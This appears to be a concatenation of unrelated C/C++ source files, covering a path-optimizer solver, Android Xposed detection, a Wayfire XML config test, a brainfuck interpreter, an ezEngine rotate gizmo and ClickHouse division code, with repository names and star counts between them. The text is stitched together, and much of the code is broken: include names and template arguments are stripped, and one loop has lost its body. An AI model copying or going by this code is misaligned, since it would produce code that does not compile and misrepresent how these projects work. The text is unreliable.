(m_strAzzXggId.isEmpty())//新增 { if (!YZAzzXggDataPtr()->createAzzXgg(azzxgg)) { YZMessageBox::information(tr("添加XXXX失败")); return; } progressBar.stopProgressBar(); emit azzxggCreated(azzxgg); } else//编辑、更新 { azzxgg._id = m_strAzzXggId; if (!YZAzzXggDataPtr()->updateAzzXgg(azzxgg)) { YZMessageBox::information(tr("更新信息失败")); return; } progressBar.stopProgressBar(); emit azzxggChanged(azzxgg); } close(); }// // Created by ljn on 20-3-10. // #include "path_optimizer/solver/solver.hpp" #include "path_optimizer/solver/solver_k_as_input.hpp" #include "path_optimizer/solver/solver_kp_as_input.hpp" #include "path_optimizer/solver/solver_kp_as_input_constrained.hpp" #include "path_optimizer/data_struct/reference_path.hpp" #include "path_optimizer/data_struct/data_struct.hpp" namespace PathOptimizationNS { OsqpSolver::OsqpSolver(const ReferencePath &reference_path, const VehicleState &vehicle_state, const size_t &horizon) : horizon_(horizon), reference_path_(reference_path), vehicle_state_(vehicle_state), reference_interval_(0) { // Check some of the reference states to get the interval. const int check_num = 10; for (int i = 1; i < reference_path_.getSize() && i < check_num; ++i) { reference_interval_ = std::max(reference_interval_, reference_path_.getReferenceStates()[i].s - reference_path_.getReferenceStates()[i - 1].s); } } std::unique_ptr OsqpSolver::create(std::string &type, const PathOptimizationNS::ReferencePath &reference_path, const PathOptimizationNS::VehicleState &vehicle_state, const size_t &horizon) { if (type == "K") { return std::unique_ptr(new SolverKAsInput(reference_path, vehicle_state, horizon)); } else if (type == "KP") { return std::unique_ptr(new SolverKpAsInput(reference_path, vehicle_state, horizon)); } else if (type == "KPC") { return std::unique_ptr(new SolverKpAsInputConstrained(reference_path, vehicle_state, horizon)); } else { LOG(ERROR) << "No such solver!"; return nullptr; } } bool OsqpSolver::solve(std::vector *optimized_path) { const auto &ref_states = reference_path_.getReferenceStates(); solver_.settings()->setVerbosity(false); solver_.settings()->setWarmStart(true); solver_.data()->setNumberOfVariables(num_of_variables_); solver_.data()->setNumberOfConstraints(num_of_constraints_); // Allocate QP problem matrices and vectors. Eigen::SparseMatrix hessian; Eigen::VectorXd gradient = Eigen::VectorXd::Zero(num_of_variables_); Eigen::SparseMatrix linearMatrix; Eigen::VectorXd lowerBound; Eigen::VectorXd upperBound; // Set Hessian matrix. setHessianMatrix(&hessian); // Set state transition matrix, constraint matrix and bound vector. setConstraintMatrix( &linearMatrix, &lowerBound, &upperBound); // Input to solver. if (!solver_.data()->setHessianMatrix(hessian)) return false; if (!solver_.data()->setGradient(gradient)) return false; if (!solver_.data()->setLinearConstraintsMatrix(linearMatrix)) return false; if (!solver_.data()->setLowerBound(lowerBound)) return false; if (!solver_.data()->setUpperBound(upperBound)) return false; // Solve. if (!solver_.initSolver()) return false; if (!solver_.solve()) return false; const auto &QPSolution = solver_.getSolution(); getOptimizedPath(QPSolution, optimized_path); return true; } }MG4vQIs7Fv/PerformanceOverhaulCyberpunksrc/version_dll.hpp #pragma once namespace version_dll { void loadGenuineDll(const wchar_t* systemDirectory); void unloadGenuineDll(); } 0 #include #include #include #include #include static int xposed_status = NO_XPOSED; extern "C" JNIEXPORT jboolean JNICALL Java_icu_nullptr_applistdetector_AbnormalEnvironment_detectXposed(JNIEnv* env, jobject thiz) { int res = get_xposed_status(env, android_get_device_api_level()); if (res > xposed_status) xposed_status = res; return xposed_status != NO_XPOSED; } extern "C" JNIEXPORT jboolean JNICALL Java_icu_nullptr_applistdetector_AbnormalEnvironment_detectDual(JNIEnv* env, jobject thiz) { char buf[PATH_MAX], path[PATH_MAX]; FILE* fp = fopen("/proc/self/maps", "r"); jboolean found = false; while (fgets(buf, sizeof(buf), fp)) { sscanf(buf, "%*x-%*x %*4c %*x %*x:%*x %*lu %s", path); auto sv = std::string_view(path); if (sv.starts_with("/data/user/") && !sv.starts_with("/data/user/0/")) { found = true; break; } } fclose(fp); return found; } jint JNI_OnLoad(JavaVM* jvm, void*) { JNIEnv* env; if (jvm->GetEnv(reinterpret_cast(&env), JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } xposed_status = get_xposed_status(env, android_get_device_api_level()); return JNI_VERSION_1_6; } Acidburn0zzz/peridot // Copyright 2016 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include #include #include #include "lib/app/cpp/application_context.h" #include "lib/app_driver/cpp/app_driver.h" #include "lib/fsl/tasks/message_loop.h" #include "lib/fxl/command_line.h" #include "lib/fxl/macros.h" #include "lib/svc/cpp/services.h" #include "peridot/examples/hello_world_cpp/hello.fidl.h" using examples::HelloPtr; namespace { class HelloAppParent { public: explicit HelloAppParent(app::ApplicationContext* app_context, fxl::CommandLine command_line) { auto launch_info = app::ApplicationLaunchInfo::New(); const std::vector& args = command_line.positional_args(); if (args.empty()) { launch_info->url = "hello_app_child"; } else { launch_info->url = args[0]; for (size_t i = 1; i < args.size(); ++i) { launch_info->arguments.push_back(args[i]); } } launch_info->service_request = child_services_.NewRequest(); app_context->launcher()->CreateApplication(std::move(launch_info), child_.NewRequest()); child_services_.ConnectToService(hello_.NewRequest()); DoIt("hello"); DoIt("goodbye"); } // Called by AppDriver. void Terminate(const std::function& done) { done(); } private: void DoIt(const std::string& request) { hello_->Say(request, [request](const fidl::String& response) { printf("%s --> %s\n", request.c_str(), response.get().c_str()); }); } app::ApplicationControllerPtr child_; app::Services child_services_; HelloPtr hello_; FXL_DISALLOW_COPY_AND_ASSIGN(HelloAppParent); }; } // namespace int main(int argc, const char** argv) { fsl::MessageLoop loop; auto app_context = app::ApplicationContext::CreateFromStartupInfo(); modular::AppDriver driver( app_context->outgoing_services(), std::make_unique( app_context.get(), fxl::CommandLineFromArgcArgv(argc, argv)), [&loop] { loop.QuitNow(); }); loop.Run(); return 0; } 10-100 // Copyright (C) 2015 Theoretical Physics, ETH Zurich // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // FIXME: namespace changed from openqu to iqs // FIXME: most of the code is not necessary /// @file bitops_test.cpp /// Tests for bitops.hpp #include "bitops.hpp" #include #include int main() { assert(iqs::highestBit(1) == 0); assert(iqs::highestBit(2) == 1); assert(iqs::highestBit(3) == 1); assert(iqs::highestBit(4) == 2); assert(iqs::highestBit(std::numeric_limits::max()) == 30); assert(iqs::highestBit(std::numeric_limits::max()) == 31); assert(iqs::ilog2(1) == 0); assert(iqs::ilog2(2) == 1); assert(iqs::ilog2(4) == 2); assert(!iqs::isPowerOf2(0)); assert(iqs::isPowerOf2(1)); assert(iqs::isPowerOf2(2)); assert(!iqs::isPowerOf2(3)); assert(iqs::isPowerOf2(4)); assert(!iqs::isPowerOf2(std::numeric_limits::max())); return 0; } #define DOCTEST_CONFIG_IMPLEMENT_WITH_MAIN #include #include #include #include #include #include #include #include static const std::string xml_option_int = R"( )"; static const std::string xml_option_string = R"( )"; static const std::string xml_option_key = R"( )"; static const std::string xml_option_dyn_list = R"( )"; static const std::string xml_option_dyn_list_no_prefix = R"( )"; static const std::string xml_option_dyn_list_no_type = R"( )"; static const std::string xml_option_dyn_list_wrong_type = R"( )"; static const std::string xml_option_bad_tag = R"( <super> KEY_E )"; static const std::string xml_option_int_bad_min = R"( )"; static const std::string xml_option_int_bad_max = R"( )"; static const std::string xml_option_bad_type = R"( )"; static const std::string xml_option_bad_default = R"( )"; static const std::string xml_option_missing_name = R"( )"; static const std::string xml_option_missing_type = R"( )"; static const std::string xml_option_missing_default_value = R"( )"; #include "expect_line.hpp" TEST_CASE("wf::config::xml::create_option") { std::stringstream log; wf::log::initialize_logging(log, wf::log::LOG_LEVEL_DEBUG, wf::log::LOG_COLOR_MODE_OFF); namespace wxml = wf::config::xml; namespace wc = wf::config; xmlNodePtr option_node; auto initialize_option = [&] (std::string source) { auto node = xmlParseDoc((const xmlChar*)source.c_str()); REQUIRE(node != nullptr); option_node = xmlDocGetRootElement(node); return wxml::create_option_from_xml_node(option_node); }; SUBCASE("Not an XML option") { auto opt = std::make_shared>("Test", 1); CHECK(wxml::get_option_xml_node(opt) == nullptr); } SUBCASE("IntOption") { auto option = initialize_option(xml_option_int); REQUIRE(option != nullptr); CHECK(option->get_name() == "IntOption"); auto as_int = std::dynamic_pointer_cast>(option); REQUIRE(as_int); REQUIRE(as_int->get_minimum()); REQUIRE(as_int->get_maximum()); CHECK(as_int->get_value() == 3); CHECK(as_int->get_minimum().value() == 0); CHECK(as_int->get_maximum().value() == 10); CHECK(wxml::get_option_xml_node(as_int) == option_node); } SUBCASE("StringOption") { auto option = initialize_option(xml_option_string); REQUIRE(option != nullptr); CHECK(option->get_name() == "StringOption"); auto as_string = std::dynamic_pointer_cast>(option); REQUIRE(as_string); CHECK(as_string->get_value() == ""); } SUBCASE("KeyOption") { auto option = initialize_option(xml_option_key); REQUIRE(option != nullptr); CHECK(option->get_name() == "KeyOption"); auto as_key = std::dynamic_pointer_cast>(option); REQUIRE(as_key); CHECK(as_key->get_value() == wf::keybinding_t{wf::KEYBOARD_MODIFIER_LOGO, KEY_E}); CHECK(wxml::get_option_xml_node(option) == option_node); } SUBCASE("DynamicList") { auto option = initialize_option(xml_option_dyn_list); REQUIRE(option != nullptr); CHECK(option->get_name() == "DynList"); auto as_co = std::dynamic_pointer_cast(option); REQUIRE(as_co != nullptr); CHECK(as_co->get_value() == wf::config::compound_list_t{}); const auto& entries = as_co->get_entries(); REQUIRE(entries.size() == 2); CHECK( dynamic_cast*>(entries[0].get())); CHECK(dynamic_cast*>( entries[1].get())); } /* Generate a subcase where the given xml source can't be parsed to an * option, and check that the output in the log is as expected. */ #define SUBCASE_BAD_OPTION(subcase_name, xml_source, expected_log) \ SUBCASE(subcase_name) \ { \ auto option = initialize_option(xml_source); \ CHECK(option == nullptr); \ EXPECT_LINE(log, expected_log); \ } SUBCASE_BAD_OPTION("Invalid xml tag", xml_option_bad_tag, "is not an option element"); SUBCASE_BAD_OPTION("Invalid option type", xml_option_bad_type, "invalid type \"unknown\""); SUBCASE_BAD_OPTION("Invalid default value", xml_option_bad_default, "invalid default value"); SUBCASE_BAD_OPTION("Invalid minimum value", xml_option_int_bad_min, "invalid minimum value"); SUBCASE_BAD_OPTION("Invalid maximum value", xml_option_int_bad_max, "invalid maximum value"); SUBCASE_BAD_OPTION("Missing option name", xml_option_missing_name, "missing \"name\" attribute"); SUBCASE_BAD_OPTION("Missing option type", xml_option_missing_type, "missing \"type\" attribute"); SUBCASE_BAD_OPTION("Missing option default value", xml_option_missing_default_value, "no default value specified"); SUBCASE_BAD_OPTION("Dynamic list without prefix", xml_option_dyn_list_no_prefix, "missing \"prefix\" attribute"); SUBCASE_BAD_OPTION("Dynamic list without type", xml_option_dyn_list_no_type, "missing \"type\" attribute"); SUBCASE_BAD_OPTION("Dynamic list with invalid type", xml_option_dyn_list_wrong_type, "invalid type"); } /* ------------------------- create_section test ---------------------------- */ static const std::string xml_section_empty = R"( )"; static const std::string xml_section_no_plugins = R"( )"; static const std::string xml_section_full = R"( )"; static const std::string xml_section_missing_name = R"( )"; static const std::string xml_section_bad_tag = R"( )"; TEST_CASE("wf::config::xml::create_section") { std::stringstream log; wf::log::initialize_logging(log, wf::log::LOG_LEVEL_DEBUG, wf::log::LOG_COLOR_MODE_OFF); namespace wxml = wf::config::xml; namespace wc = wf::config; xmlNodePtr section_root; auto initialize_section = [&] (std::string xml_source) { auto node = xmlParseDoc((const xmlChar*)xml_source.c_str()); REQUIRE(node != nullptr); section_root = xmlDocGetRootElement(node); return wxml::create_section_from_xml_node(section_root); }; SUBCASE("Section without XML") { auto section = std::make_shared("TestSection"); CHECK(wxml::get_section_xml_node(section) == nullptr); } SUBCASE("Empty section") { auto section = initialize_section(xml_section_empty); REQUIRE(section != nullptr); CHECK(section->get_name() == "TestPluginEmpty"); CHECK(section->get_registered_options().empty()); CHECK(wxml::get_section_xml_node(section) == section_root); } SUBCASE("Empty section - unnecessary data") { auto section = initialize_section(xml_section_no_plugins); REQUIRE(section != nullptr); CHECK(section->get_name() == "TestPluginNoPlugins"); CHECK(section->get_registered_options().empty()); CHECK(wxml::get_section_xml_node(section) == section_root); } SUBCASE("Section with options") { auto section = initialize_section(xml_section_full); REQUIRE(section != nullptr); CHECK(section->get_name() == "TestPluginFull"); auto opts = section->get_registered_options(); std::set opt_names; for (auto& opt : opts) { opt_names.insert(opt->get_name()); } std::set expected_names = { "KeyOption", "ButtonOption", "TouchOption", "ActivatorOption", "IntOption", "DoubleOption", "BoolOption", "StringOption", "OutputModeOption", "OutputPositionOption"}; CHECK(opt_names == expected_names); CHECK(wxml::get_section_xml_node(section) == section_root); } SUBCASE("Missing section name") { auto section = initialize_section(xml_section_missing_name); CHECK(section == nullptr); EXPECT_LINE(log, "missing \"name\" attribute"); } SUBCASE("Invalid section xml tag") { auto section = initialize_section(xml_section_bad_tag); CHECK(section == nullptr); EXPECT_LINE(log, "is not a plugin/object element"); } } elix22/AtomicGameEngine1000+ // ================================================================================ // == This file is a part of Turbo Badger. (C) 2011-2014, == // == See tb_core.h for more information. == // ================================================================================ #include "tb_menu_window.h" #include "tb_widgets_listener.h" namespace tb { // == TBMenuWindow ========================================== TBMenuWindow::TBMenuWindow(TBWidget *target, TBID id) : TBPopupWindow(target) { SetID(id); SetSkinBg(TBIDC("TBMenuWindow"), WIDGET_INVOKE_INFO_NO_CALLBACKS); m_select_list.GetScrollContainer()->SetAdaptToContentSize(true); m_select_list.SetIsFocusable(false); ///< Avoid it autoclosing its window on click m_select_list.SetSkinBg(""); m_select_list.SetRect(GetPaddingRect()); m_select_list.SetGravity(WIDGET_GRAVITY_ALL); AddChild(&m_select_list); } TBMenuWindow::~TBMenuWindow() { RemoveChild(&m_select_list); } bool TBMenuWindow::Show(TBSelectItemSource *source, const TBPopupAlignment &alignment, int initial_value) { m_select_list.SetValue(initial_value); m_select_list.SetSource(source); m_select_list.ValidateList(); return TBPopupWindow::Show(alignment); } bool TBMenuWindow::OnEvent(const TBWidgetEvent &ev) { if (ev.type == EVENT_TYPE_CLICK && &m_select_list == ev.target) { TBWidgetSafePointer this_widget(this); // Invoke the click on the target TBWidgetEvent target_ev(EVENT_TYPE_CLICK); target_ev.ref_id = ev.ref_id; InvokeEvent(target_ev); // If target got deleted, close if (this_widget.Get()) Close(); return true; } return TBPopupWindow::OnEvent(ev); } }; // namespace tb #include "GlfwContext.hpp" #include #include #include ///============================================================== ///= GlfwContext ///============================================================== bool GlfwContext::sInitialized = false; void GlfwContext::Init() { RegisterGlfwErrorHandler(); glfwInit(); if (IsGlfwErrorSet()) throw std::runtime_error(GetLastGlfwError().GetDescription()); sInitialized = true; } void GlfwContext::Shutdown() { glfwTerminate(); sInitialized = false; } bool GlfwContext::IsInitialized() { return sInitialized; } 1-10 /*============================================================================= Copyright (c) 2010-2016 https://github.com/bolero-MURAKAMI/Sprig Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #ifndef SPRIG_BRAINFUCK_HPP #define SPRIG_BRAINFUCK_HPP #include #ifdef SPRIG_USING_PRAGMA_ONCE # pragma once #endif // #ifdef SPRIG_USING_PRAGMA_ONCE #include #include #include #include #include #include #include #include #include #include #include namespace sprig { namespace brainfuck { // // base_exception // SPRIG_EXCEPTION_DECL(base_exception); // // code_ended // SPRIG_EXCEPTION_INHERIT_DECL(code_ended, base_exception); // // forward_overrun // backward_overrun // SPRIG_EXCEPTION_INHERIT_DECL(forward_overrun, base_exception); SPRIG_EXCEPTION_INHERIT_DECL(backward_overrun, base_exception); // // open_paren_not_found // closed_paren_not_found // SPRIG_EXCEPTION_INHERIT_DECL(open_paren_not_found, base_exception); SPRIG_EXCEPTION_INHERIT_DECL(closed_paren_not_found, base_exception); // // engine // class engine { public: typedef unsigned char byte_type; typedef std::size_t size_type; typedef size_type pointer_type; typedef std::vector buffer_type; typedef boost::function output_type; typedef boost::function input_type; public: static size_type const dbuffer_size = 30000; static pointer_type const dpointer_min = 0; static pointer_type const dpointer_max = dbuffer_size - 1; public: static void default_output(byte_type b) { std::cout << static_cast(b); } static byte_type default_input() { char b; std::cin >> b; return b; } private: buffer_type pbuffer_; buffer_type dbuffer_; pointer_type ppointer_; pointer_type dpointer_; output_type output_; input_type input_; public: engine() : pbuffer_() , dbuffer_(dbuffer_size, 0) , ppointer_(0) , dpointer_(0) , output_(engine::default_output) , input_(engine::default_input) {} void push_code(char const* code) { pbuffer_.insert( pbuffer_.end(), code, code + sprig::str_length(code) ); } template void push_code( Stream& code, typename boost::enable_if< sprig::is_derived_basic_istream >::type* = 0 ) { std::copy( std::istream_iterator(code), std::istream_iterator(), std::back_inserter(pbuffer_) ); } template void push_code( Range const& code, typename boost::disable_if< sprig::is_derived_basic_istream >::type* = 0 ) { std::copy( boost::begin(code), boost::end(code), std::back_inserter(pbuffer_) ); } bool is_code_end() const { return ppointer_ >= pbuffer_.size(); } void execute() { if (is_code_end()) { SPRIG_THROW_EXCEPTION(code_ended("code ended: code ended")); } switch (pbuffer_[ppointer_]) { case '>': if (dpointer_ >= dpointer_max) { SPRIG_THROW_EXCEPTION(forward_overrun("forward overrun: on operator \'>\'")); } ++dpointer_; break; case '<': if (dpointer_ <= dpointer_min) { SPRIG_THROW_EXCEPTION(backward_overrun("backward overrun: on operator \'<\'")); } --dpointer_; break; case '+': ++dbuffer_[dpointer_]; break; case '-': --dbuffer_[dpointer_]; break; case '.': output_(dbuffer_[dpointer_]); break; case ',': dbuffer_[dpointer_] = input_(); break; case '[': if (!dbuffer_[dpointer_]) { pointer_type ppointer = ppointer_; std::ptrdiff_t count = 1; do { if (ppointer + 1 >= pbuffer_.size()) { SPRIG_THROW_EXCEPTION(closed_paren_not_found("closed paren not found: on operator \'[\'")); } ++ppointer; switch (pbuffer_[ppointer]) { case '[': ++count; break; case ']': --count; break; } } while (count); ppointer_ = ppointer; } break; case ']': { pointer_type ppointer = ppointer_; std::ptrdiff_t count = -1; do { if (ppointer <= 0) { SPRIG_THROW_EXCEPTION(open_paren_not_found("open paren not found: on operator \']\'")); } --ppointer; switch (pbuffer_[ppointer]) { case '[': ++count; break; case ']': --count; break; } } while (count); ppointer_ = ppointer - 1; } break; } ++ppointer_; } buffer_type const& pbuffer() const { return pbuffer_; } buffer_type& pbuffer() { return pbuffer_; } buffer_type const& dbuffer() const { return dbuffer_; } buffer_type& dbuffer() { return dbuffer_; } pointer_type const& ppointer() const { return ppointer_; } pointer_type& ppointer() { return ppointer_; } pointer_type const& dpointer() const { return dpointer_; } pointer_type& dpointer() { return dpointer_; } output_type const& output() const { return output_; } output_type& output() { return output_; } input_type const& input() const { return input_; } input_type& input() { return input_; } }; } // namespace brainfuck } // namespace sprig #endif // #ifndef SPRIG_BRAINFUCK_HPP Code/Editor/EditorFramework/Gizmos/Implementation/RotateGizmo.cpp #include #include #include #include #include #include #include EZ_BEGIN_DYNAMIC_REFLECTED_TYPE(ezRotateGizmo, 1, ezRTTINoAllocator) EZ_END_DYNAMIC_REFLECTED_TYPE; ezRotateGizmo::ezRotateGizmo() { m_AxisX.Configure(this, ezEngineGizmoHandleType::Ring, ezColorLinearUB(128, 0, 0)); m_AxisY.Configure(this, ezEngineGizmoHandleType::Ring, ezColorLinearUB(0, 128, 0)); m_AxisZ.Configure(this, ezEngineGizmoHandleType::Ring, ezColorLinearUB(0, 0, 128)); SetVisible(false); SetTransformation(ezTransform::IdentityTransform()); } void ezRotateGizmo::UpdateStatusBarText(ezQtEngineDocumentWindow* pWindow) { GetOwnerWindow()->SetPermanentStatusBarMsg(ezFmt("Rotation: {}", ezAngle())); } void ezRotateGizmo::OnSetOwner(ezQtEngineDocumentWindow* pOwnerWindow, ezQtEngineViewWidget* pOwnerView) { pOwnerWindow->GetDocument()->AddSyncObject(&m_AxisX); pOwnerWindow->GetDocument()->AddSyncObject(&m_AxisY); pOwnerWindow->GetDocument()->AddSyncObject(&m_AxisZ); } void ezRotateGizmo::OnVisibleChanged(bool bVisible) { m_AxisX.SetVisible(bVisible); m_AxisY.SetVisible(bVisible); m_AxisZ.SetVisible(bVisible); } void ezRotateGizmo::OnTransformationChanged(const ezTransform& transform) { ezTransform m; m.SetIdentity(); m.m_qRotation.SetFromAxisAndAngle(ezVec3(0, 1, 0), ezAngle::Degree(-90)); m_AxisX.SetTransformation(transform * m); m.m_qRotation.SetFromAxisAndAngle(ezVec3(1, 0, 0), ezAngle::Degree(90)); m_AxisY.SetTransformation(transform * m); m.SetIdentity(); m_AxisZ.SetTransformation(transform * m); } void ezRotateGizmo::DoFocusLost(bool bCancel) { ezGizmoEvent ev; ev.m_pGizmo = this; ev.m_Type = bCancel ? ezGizmoEvent::Type::CancelInteractions : ezGizmoEvent::Type::EndInteractions; m_GizmoEvents.Broadcast(ev); ezViewHighlightMsgToEngine msg; GetOwnerWindow()->GetEditorEngineConnection()->SendHighlightObjectMessage(&msg); m_AxisX.SetVisible(true); m_AxisY.SetVisible(true); m_AxisZ.SetVisible(true); QApplication::restoreOverrideCursor(); } ezEditorInput ezRotateGizmo::DoMousePressEvent(QMouseEvent* e) { if (IsActiveInputContext()) return ezEditorInput::WasExclusivelyHandled; if (e->button() != Qt::MouseButton::LeftButton) return ezEditorInput::MayBeHandledByOthers; if (m_pInteractionGizmoHandle == &m_AxisX) { m_vRotationAxis = m_AxisX.GetTransformation().m_qRotation * ezVec3(0, 0, 1); } else if (m_pInteractionGizmoHandle == &m_AxisY) { m_vRotationAxis = m_AxisY.GetTransformation().m_qRotation * ezVec3(0, 0, 1); } else if (m_pInteractionGizmoHandle == &m_AxisZ) { m_vRotationAxis = m_AxisZ.GetTransformation().m_qRotation * ezVec3(0, 0, 1); } else return ezEditorInput::MayBeHandledByOthers; ezViewHighlightMsgToEngine msg; msg.m_HighlightObject = m_pInteractionGizmoHandle->GetGuid(); GetOwnerWindow()->GetEditorEngineConnection()->SendHighlightObjectMessage(&msg); m_Rotation = ezAngle(); m_LastMousePos = SetMouseMode(ezEditorInputContext::MouseMode::HideAndWrapAtScreenBorders); m_StartRotation = GetTransformation().m_qRotation; ezMat4 mView = m_pCamera->GetViewMatrix(); ezMat4 mProj; m_pCamera->GetProjectionMatrix((float)m_Viewport.x / (float)m_Viewport.y, mProj); ezMat4 mViewProj = mProj * mView; m_InvViewProj = mViewProj.GetInverse(); // compute screen space tangent for rotation { const ezVec3 vAxisWS = m_vRotationAxis.GetNormalized(); const ezVec3 vMousePos(e->pos().x(), m_Viewport.y - e->pos().y(), 0); const ezVec3 vGizmoPosWS = GetTransformation().m_vPosition; ezVec3 vPosOnNearPlane, vRayDir; ezGraphicsUtils::ConvertScreenPosToWorldPos(m_InvViewProj, 0, 0, m_Viewport.x, m_Viewport.y, vMousePos, vPosOnNearPlane, &vRayDir).IgnoreResult(); ezPlane plane; plane.SetFromNormalAndPoint(vAxisWS, vGizmoPosWS); ezVec3 vPointOnGizmoWS; if (!plane.GetRayIntersection(vPosOnNearPlane, vRayDir, nullptr, &vPointOnGizmoWS)) { // fallback at grazing angles, will result in fallback vDirWS during normalization vPointOnGizmoWS = vGizmoPosWS; } ezVec3 vDirWS = vPointOnGizmoWS - vGizmoPosWS; vDirWS.NormalizeIfNotZero(ezVec3(1, 0, 0)).IgnoreResult(); ezVec3 vTangentWS = vAxisWS.CrossRH(vDirWS); vTangentWS.Normalize(); const ezVec3 vTangentEndWS = vPointOnGizmoWS + vTangentWS; // compute the screen space position of the end point of the tangent vector, so that we can then compute the tangent in screen space ezVec3 vTangentEndSS; ezGraphicsUtils::ConvertWorldPosToScreenPos(mViewProj, 0, 0, m_Viewport.x, m_Viewport.y, vTangentEndWS, vTangentEndSS).IgnoreResult(); vTangentEndSS.z = 0; const ezVec3 vTangentSS = vTangentEndSS - vMousePos; m_vScreenTangent.Set(vTangentSS.x, vTangentSS.y); m_vScreenTangent.NormalizeIfNotZero(ezVec2(1, 0)).IgnoreResult(); // because window coordinates are flipped along Y m_vScreenTangent.y = -m_vScreenTangent.y; } m_LastInteraction = ezTime::Now(); SetActiveInputContext(this); ezGizmoEvent ev; ev.m_pGizmo = this; ev.m_Type = ezGizmoEvent::Type::BeginInteractions; m_GizmoEvents.Broadcast(ev); return ezEditorInput::WasExclusivelyHandled; } ezEditorInput ezRotateGizmo::DoMouseReleaseEvent(QMouseEvent* e) { if (!IsActiveInputContext()) return ezEditorInput::MayBeHandledByOthers; if (e->button() != Qt::MouseButton::LeftButton) return ezEditorInput::WasExclusivelyHandled; FocusLost(false); SetActiveInputContext(nullptr); return ezEditorInput::WasExclusivelyHandled; } ezEditorInput ezRotateGizmo::DoMouseMoveEvent(QMouseEvent* e) { if (!IsActiveInputContext()) return ezEditorInput::MayBeHandledByOthers; const ezTime tNow = ezTime::Now(); if (tNow - m_LastInteraction < ezTime::Seconds(1.0 / 25.0)) return ezEditorInput::WasExclusivelyHandled; m_LastInteraction = tNow; const ezVec2 vNewMousePos = ezVec2(e->globalPos().x(), e->globalPos().y()); ezVec2 vDiff = vNewMousePos - ezVec2(m_LastMousePos.x, m_LastMousePos.y); m_LastMousePos = UpdateMouseMode(e); const float dv = m_vScreenTangent.Dot(vDiff); m_Rotation += ezAngle::Degree(dv); ezAngle rot = m_Rotation; // disable snapping when ALT is pressed if (!e->modifiers().testFlag(Qt::AltModifier)) ezSnapProvider::SnapRotation(rot); m_CurrentRotation.SetFromAxisAndAngle(m_vRotationAxis, rot); ezTransform mTrans = GetTransformation(); mTrans.m_qRotation = m_CurrentRotation * m_StartRotation; SetTransformation(mTrans); GetOwnerWindow()->SetPermanentStatusBarMsg(ezFmt("Rotation: {}", rot)); ezGizmoEvent ev; ev.m_pGizmo = this; ev.m_Type = ezGizmoEvent::Type::Interaction; m_GizmoEvents.Broadcast(ev); return ezEditorInput::WasExclusivelyHandled; } 10-100 /* * pttask_test.cpp * * Created on: 13 Mar 2019 * Author: * * This file is subject to the terms and conditions defined in * file 'LICENSE.txt', which is part of this source code package. * */ #ifndef CONFIG_LLVM_NS #include "ptcore_scheduler.h" #include "Bit1.h" #include "pttask_test.h" /***************************************************************************/ /* Test task */ /***************************************************************************/ #define TEST_VERSION 0 #if TEST_VERSION == 0 using namespace ptp::core; #if !defined(PTBUILD_EXTERNAL_TIMER) || defined(SET_GLOBAL_COUNTER) extern unsigned long __pt_g_cycles; #endif namespace ptp { namespace task { bool TestTask::Run() { PT_BEGIN(); for (;;) { Bit1_PutVal(!!arg_); #if !defined(PTBUILD_EXTERNAL_TIMER) || defined(SET_GLOBAL_COUNTER) __pt_g_cycles++; #endif PT_YIELD(); } PT_END(); } } } #endif // TEST_VERSION == 0 #endif #include struct STUDENT { char name[12]; char id[12]; int score; }; const int MAXN = 1e6; STUDENT arr[MAXN] = {}; int main() { unsigned long long n; scanf("%lld", &n); unsigned long long i; for (i=0; i max) { max = arr[i].score; maxid = i; } if (arr[i].score < min) { min = arr[i].score; minid = i; } } printf("%s %s\n", arr[maxid].name, arr[maxid].id); printf("%s %s\n", arr[minid].name, arr[minid].id); return 0; }10-100 #pragma once class MemoryProtection { public: struct Exception : public std::exception { Exception(); uint32_t GetLastError() const; private: uint32_t m_lastError; }; MemoryProtection(void* aAddress, size_t aSize, uint32_t aProtection); ~MemoryProtection(); MemoryProtection(MemoryProtection&) = delete; MemoryProtection(MemoryProtection&&) = delete; MemoryProtection& operator=(const MemoryProtection&) = delete; MemoryProtection& operator=(MemoryProtection&&) = delete; private: void* m_address; size_t m_size; uint32_t m_oldProtection; bool m_shouldRestore; }; #include #include #include #ifdef __SSE2__ #define LIBDIVIDE_USE_SSE2 1 #endif #include namespace DB { /// Optimizations for integer division by a constant. template struct DivideIntegralByConstantImpl : BinaryOperationImplBase> { using ResultType = typename DivideIntegralImpl::ResultType; static const constexpr bool allow_fixed_string = false; static NO_INLINE void vector_constant(const A * __restrict a_pos, B b, ResultType * __restrict c_pos, size_t size) { if (unlikely(b == 0)) throw Exception("Division by zero", ErrorCodes::ILLEGAL_DIVISION); #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wsign-compare" if (unlikely(is_signed_v && b == -1)) { for (size_t i = 0; i < size; ++i) c_pos[i] = -a_pos[i]; return; } #pragma GCC diagnostic pop libdivide::divider divider(b); const A * a_end = a_pos + size; #ifdef __SSE2__ static constexpr size_t values_per_sse_register = 16 / sizeof(A); const A * a_end_sse = a_pos + size / values_per_sse_register * values_per_sse_register; while (a_pos < a_end_sse) { _mm_storeu_si128(reinterpret_cast<__m128i *>(c_pos), _mm_loadu_si128(reinterpret_cast(a_pos)) / divider); a_pos += values_per_sse_register; c_pos += values_per_sse_register; } #endif while (a_pos < a_end) { *c_pos = *a_pos / divider; ++a_pos; ++c_pos; } } }; /** Specializations are specified for dividing numbers of the type UInt64 and UInt32 by the numbers of the same sign. * Can be expanded to all possible combinations, but more code is needed. */ template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template 